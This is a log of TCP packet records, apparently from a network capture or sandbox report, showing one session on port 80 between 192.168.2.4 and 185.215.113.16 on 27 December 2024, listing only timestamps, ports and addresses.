Dec 27, 2024 15:04:16.884361029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.884409904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.884923935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.884977102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.885062933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.885910988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.885970116 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.886029005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.886703014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.886763096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.886795044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.887612104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.887700081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.887732983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.888523102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.888577938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.888600111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.889380932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.889391899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.889441013 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.890701056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.890711069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.890767097 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.898262978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.898339033 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.898370028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.898638964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.898686886 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.917113066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.917265892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.917332888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.917557001 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.917717934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.917766094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:16.917783022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.918541908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:16.918593884 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.082220078 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.082243919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.082314968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.082375050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.082535028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.082582951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.083134890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.083530903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.083544016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.083580971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.084342003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.084392071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.084475040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.085211039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.085264921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.085333109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.086143017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.086196899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.086199999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.087014914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.087065935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.087093115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.087944984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.087989092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.087996006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.088721991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.088773966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.088893890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.089673042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.089723110 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.089725018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.090559006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.090607882 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.090646982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.091443062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.091496944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.091587067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.092386961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.092456102 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.092462063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.093214989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.093266964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.093327999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.094050884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.094100952 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.094268084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.094965935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.095021009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.095102072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.095827103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.095876932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.095880985 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.096690893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.096743107 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.096847057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.097628117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.097681046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.097770929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.098695993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.098711967 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.098766088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.099349976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.099406004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.099476099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.100364923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.100414991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.100419044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.101140022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.101188898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.101278067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.102042913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.102092028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.102158070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.102880955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.102930069 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.103005886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.132313013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.132353067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.132411003 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.132441998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.132493019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.132519007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.133358955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.133410931 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.133445978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.134239912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.134283066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.134296894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.135092974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.135139942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.135487080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.135545969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.135632038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.136352062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.146955013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.147000074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.147030115 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.147293091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.147345066 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.165887117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.165929079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.165977955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.166150093 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.166254044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.166304111 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.166307926 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.166734934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.166790009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.166809082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.206166983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.206202030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.206228971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.206509113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.206557989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.215828896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.215877056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.215939999 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.216171980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.216309071 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.216346979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.216413975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.217155933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.217196941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.217267036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.218125105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.218172073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.256504059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.256567955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.256630898 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.256905079 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.257040024 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.257095098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.257786036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.257886887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.257930994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.258656979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.258779049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.258820057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.259578943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.259696007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.259743929 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.260421038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.260546923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.260591984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.261341095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.261388063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.261430025 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.292423010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292437077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292448997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292459965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292471886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292484999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.292530060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.292572021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.292577028 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.293260098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.293272972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.293319941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.294219971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.294286966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.340186119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.340322018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.340375900 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.340538979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.340621948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.340662956 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.340759993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.341603994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.341639042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.341660976 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.342192888 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.342204094 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.342247009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.385238886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.385296106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.385413885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.385772943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.385785103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.385819912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.386321068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.386364937 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.386492014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.387197971 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.387238979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.387398005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.388384104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.388431072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.388561964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.389771938 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.389784098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.389820099 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.390417099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.390470028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.390602112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.391289949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.391334057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.417139053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417151928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417164087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417176008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417205095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.417237997 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.417301893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417315006 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.417362928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.418178082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.418356895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.418370008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.418397903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.421413898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.421458006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.421716928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.422399998 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.422451019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.465385914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.465400934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.465478897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.465692997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.465879917 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.465928078 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.466054916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.466707945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.466764927 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.467703104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.467873096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.467930079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.508363962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.508479118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.508531094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.508836031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.508981943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.509023905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.509851933 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.509906054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.509948015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.510890007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.510938883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.510981083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.511529922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.511614084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.511656046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.512372017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.512459040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.512501001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.513238907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.513345957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.513386011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.514120102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.514161110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.514199972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.538975000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.539082050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.539133072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.539419889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.539503098 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.539562941 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.540283918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.540441036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.540477991 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.541173935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.541378975 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.541419983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.542040110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.542156935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.542192936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.542913914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.542990923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.543025970 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.588906050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.588939905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.589004993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.589225054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.589358091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.589370012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.589400053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.590176105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.590218067 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.632965088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.633044958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.633269072 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.633390903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.633481026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.633529902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.634241104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.634351969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.634392977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.635183096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.635248899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.635288954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.635997057 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.636116982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.636153936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.636956930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.637057066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.637094021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.637762070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.637799978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.637836933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.638709068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.638763905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 15:04:17.638799906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 15:04:17.639683962 CET	80	49743	185.215.113.16	192.168.2.4
